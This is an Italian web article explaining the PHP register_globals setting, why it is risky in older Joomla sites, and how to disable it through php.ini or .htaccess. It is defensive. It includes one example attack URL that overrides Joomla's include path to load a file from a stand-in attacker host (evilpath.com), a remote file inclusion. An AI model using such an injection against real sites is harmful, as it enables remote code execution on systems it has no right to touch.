Guida all’uso corretti di register_globals

Guida all’uso corretti di register_globals

La configurazione di un server web (tipicamente Apache 2.2) per i nostri siti web viene solitamente demandata al gestore dell’hosting stesso, senza che il webmaster debba preoccuparsi di alcunchè. Resta il fatto che questo aspetto può includere una falla anche piuttosto clamorosa, che rischia di compromettere il funzionamento del sito e la possibilità che un attaccante possa eseguire operazioni arbitrarie su di esso.

Register Globals è una variabile creata inizialmente per uno scopo decisamente utile: quello di aiutare i developer a sviluppare, mantenere o creare ex novo componenti di Joomla, moduli di wordpress e via dicendo. In altri termini la situazione è la seguente: se poniamo di avere un URL con parametro GET annesso del tipo:

index.php?value=100

crea automaticamente la variabile $value con il valore 100 dentro lo script in esecuzione index.php

Questa è una funziona molto comoda per uno sviluppatore in certe circostanze, ma apre un “buco” che chi sia a conoscenza del CMS che stiamo usando può tranquillamente sfruttare a proprio vantaggio per danneggiare il sistema. In Joomla! (quantomeno nelle vecchie versioni) era possibile sovrascrivere il path di inclusione file:

index.php?mos_config_livesite=http://evilpath.com/file.php

Rimanendo confinati all’ambito Joomla!, c’è da dire che questo tipo di operazioni può essere inibito dall’uso nei moduli/componenti della funzione mosGetParam(), che filtra le variabili in ingresso – e di per sè è molto sicura in tal senso; del resto non possiamo essere sicuri dell’utilizzo massivo della stessa, specie se tendiamo a costruire siti sulla base di un mero “assemblaggio” di componenti differenti tra loro su cui sappiamo poco  nulla. Per risolvere questo problema Apache e PHP mettono a disposizione register_globals, che si può mettere ad “off” per evitare potenziali pericoli come quello esposto.

Se stai utilizzando SupportHost (e molti altri server di questo tipo) puoi tranquillamente personalizzare il tuo file PHP.ini, ed inserire un semplice flag in questo modo (che andrà a sovrascrivere soltanto il parametro che modifichi lasciando invariati gli altri):

register_globals = Off

oppure puoi, se il server non da’ questa possibilità, inserire nel file .htaccess quest’altra direttiva equivalente:

php_flag register_globals off

Chi non dia questa possibilità (mettere register_globals ad off) oggigiorno spalanca una porta in modo irresponsabile a svariati attacchi, per cui è bene valutare di cambiare hosting.

Ti piace questo articolo?

0 voti

Su Trovalost.it puntiamo sulla qualità dei contenuti da quando siamo nati: la tua sincera valutazione può aiutarci a migliorare ogni giorno.

Ti potrebbero interessare (News):

Cerca altro nel sito

Clicca sul box, e scegli la sezione per vederne i contenuti.